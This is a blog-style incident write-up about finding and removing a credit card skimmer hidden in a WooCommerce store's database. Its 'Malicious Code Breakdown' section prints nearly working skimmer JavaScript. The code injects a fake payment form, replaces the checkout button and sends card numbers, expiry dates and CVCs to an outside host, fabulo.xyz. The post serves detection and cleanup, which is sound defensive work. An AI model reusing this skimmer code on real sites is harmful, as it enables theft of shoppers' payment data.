How I Found a Credit Card Stealer That No Security Tool Could Detect

A WooCommerce store owner contacted me after their developers spent days trying to fix a mysterious checkout problem. They had checked everything – WooCommerce settings, plugins, payment gateway configuration. They even ran multiple malware scans. Everything showed “clean” and “all correct.”

But customers couldn’t complete orders. This is how I discovered a sophisticated credit card stealing attack that was completely invisible to all security tools.

How It Started

The Customer Complaint

A customer contacted the store owner frustrated:

“I tried to place an order three times. No confirmation email. My card wasn’t charged. What’s wrong?”

The store owner checked the WooCommerce admin panel – no orders, no payments, nothing.

Their Team’s Investigation

The store had a developer who spent days troubleshooting:

Developer #1:

WooCommerce settings ✓ All correct
Stripe gateway configuration ✓ All correct
Plugin conflicts ✓ Tested all – no issues
Theme conflicts ✓ Switched themes – still broken
Wordfence security scan ✓ No malware
Sucuri security scan ✓ Clean
File permissions ✓ Normal
Error logs ✓ No errors

They put the site in maintenance mode and tested checkout themselves. Same problem.

After days with no solution, they contacted me:

“We’ve checked everything. Security scans show no malware. But checkout is broken and we’re losing sales. Can you help?”

My Investigation

Testing Like a Customer

I enabled Stripe test mode and went through checkout as a normal customer:

Added product to cart
Filled billing details
Entered test card: 4242 4242 4242 4242, Expiry: 12/25, CVC: 123
Clicked “Place Order”

Strange behavior: No loading animation, no error, no success message. The page just reloaded silently.

Opening the Network Tab

This is where I did something different. I opened Chrome DevTools → Network Tab.

What’s the Network Tab? It shows every request your browser sends to any server.

I repeated the checkout while watching the Network Tab.

The Shocking Discovery

I saw this request:

POST https://fabulo.xyz/api/accept-car

{
  "dataObject": {
    "card": "4242424242424242",
    "exp": "12/25",
    "cvv": "123"
  }
}

This was a nightmare.

The payment data wasn’t going to Stripe (api.stripe.com). It was going to an unknown server (fabulo.xyz) with the complete card number, expiry, and CVC in plain text.

Someone had hacked the website and was stealing every customer’s credit card information in real-time.

Understanding the Attack

The Fake Payment Form

I right-clicked the card input field and selected “Inspect Element.”

There was a completely fake payment form that looked exactly like the real WooCommerce checkout:

<div class="s_div1">
  <div>
    <span>Kaartnummer *</span>
    <input type="text" id="cardNum" placeholder="1234 1234 1234 1234">
    
    <div>
      <span>Vervaldatum *</span>
      <input id="exp" placeholder="MM / AA">
      
      <span>Kaartcode (CVC) *</span>
      <input id="cvv" placeholder="CVC">
    </div>
  </div>
</div>

Note: Labels were in Dutch (the site’s language):

Kaartnummer = Card Number
Vervaldatum = Expiry Date
Kaartcode = Card Code

The hacker had perfectly mimicked the real form – same styling, correct language, proper placement. Customers had no way to tell it was fake.

The Fake Button

The hacker also replaced the “Place Order” button:

Real button: Processes payment through Stripe → Creates order → Shows confirmation
Fake button: Sends card data to hacker → Reloads page → Nothing happens

This is why orders never completed. The real payment system never received anything.

Screenshot of malicious fake payment form on WooCommerce checkout page

Finding the Malware

Searching the Database

WordPress malware usually hides in theme or plugin files. Their team had already checked those. I decided to search the WordPress database.

After inspecting the HTML, I confirmed it was a fake payment form. I copied a unique piece of the malicious code and searched for it in the database.

I logged into phpMyAdmin and ran a search query with that code snippet:

SELECT * FROM wp_options 
WHERE option_value LIKE '%fabulo.xyz%';

Found it! The malicious code was hidden in the wp_options table – a place where WordPress stores site settings and configurations.

This explained why security scanners missed it:

Most scanners check files, not database contents
Database legitimately contains JavaScript from plugins
No known malware signature to detect

How the Attack Worked

The Malicious Code Breakdown

1. Setup variables:

let isChecked = localStorage.getItem("already_checked");
let url2 = "https://fabulo.xyz/api/accept-car";
let loaded = false;

2. Inject fake form (waits 5 seconds, then adds form to checkout page):

window.addEventListener("load", e => {
  if (document.URL.includes("afrekenen") && isChecked != "1") {
    setTimeout(() => {
      let frame = document.querySelector(".woocommerce-terms-and-conditions-wrapper");
      let newDiv = document.createElement('div');
      newDiv.innerHTML += `[Fake payment form HTML]`;
      frame.appendChild(newDiv);
      loaded = true;
    }, 5000);
  }
});

3. Replace button (every 2 seconds, swaps real button with fake one):

setInterval(() => {
  if (loaded && isChecked != "1") {
    let checkout = document.getElementById("place_order");
    let newBtn = document.createElement("button");
    
    newBtn.id = checkout.id;
    newBtn.className = checkout.className;
    newBtn.addEventListener("click", clickFunc);
    
    checkout.parentElement.removeChild(checkout);
    checkout.parentElement.appendChild(newBtn);
  }
}, 2000);

4. Steal data (sends to hacker’s server, then reloads page):

function clickFunc(e) {
  e.preventDefault();
  
  let dataObject = {
    card: document.getElementById("cardNum").value,
    exp: document.getElementById("exp").value,
    cvv: document.getElementById("cvv").value
  };
  
  fetch(url2, {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ dataObject })
  }).then(res => {
    localStorage.setItem("already_checked", "1");
    window.location.reload();
  });
}

Why this was so clever:

5-second delay made injection look natural
Checked URL for “afrekenen” (Dutch for checkout) to only activate on checkout page
Perfect visual match to real form
Page reload made it seem like a technical glitch, not theft
Marked customers as “already_checked” to avoid suspicion

Removing the Malware

Step 1: Stop the Damage

I temporarily disabled checkout with a maintenance message:

“Fixing a technical issue. Please check back in 24 hours.”

Step 2: Delete from Database

Once I found the malicious entry in the wp_options table, I needed to identify exactly which option it was.

I looked at the option name in the search results and then deleted that specific entry.

Verified it’s gone:

SELECT * FROM wp_options WHERE option_value LIKE '%fabulo.xyz%';

Result: No matches. Clean.

Step 3: Test and Secure

Re-enabled checkout and tested while watching Network Tab:

✓ Data went to api.stripe.com (correct)
✓ Order completed successfully
✓ Confirmation email sent

Changed all passwords:

WordPress admin
Database
Hosting/FTP
Stripe API keys

Site was clean and working.

Why Security Scanners Failed

Database vs Files: Most scanners check files, not database contents thoroughly
No Known Pattern: Custom attack not in any threat database
Legitimate-Looking Code: Used normal JavaScript commands that plugins use
Smart Targeting: Only activated on checkout page with delays

What I Learned

“No Malware Found” doesn’t mean safe. This case proved that:

Automated tools have limitations
Network monitoring is crucial – the Network Tab revealed what scanners couldn’t
Database security matters – check wp_options table regularly
Manual testing catches what automated scans miss
Hackers are getting smarter – they hide where people don’t look

Most important takeaway: When something seems wrong, investigate manually. Don’t just trust automated scans.

Final Thoughts

This sophisticated attack bypassed all security measures by:

Hiding in the database
Using legitimate JavaScript techniques
Perfectly mimicking the real checkout
Only activating at the right moment

For the store, this meant potential fraud for dozens or hundreds of customers, lost sales, damaged reputation, and legal risks.

The lesson: Security requires multiple layers. File scanners aren’t enough. You need to monitor network activity, check your database, and manually test your site regularly.

If you run a WooCommerce store, check your checkout using the Network Tab. Make sure payment data only goes to your payment processor’s domain. If you see requests to unknown servers, investigate immediately.

Your customers trust you with their payment information. Protect it.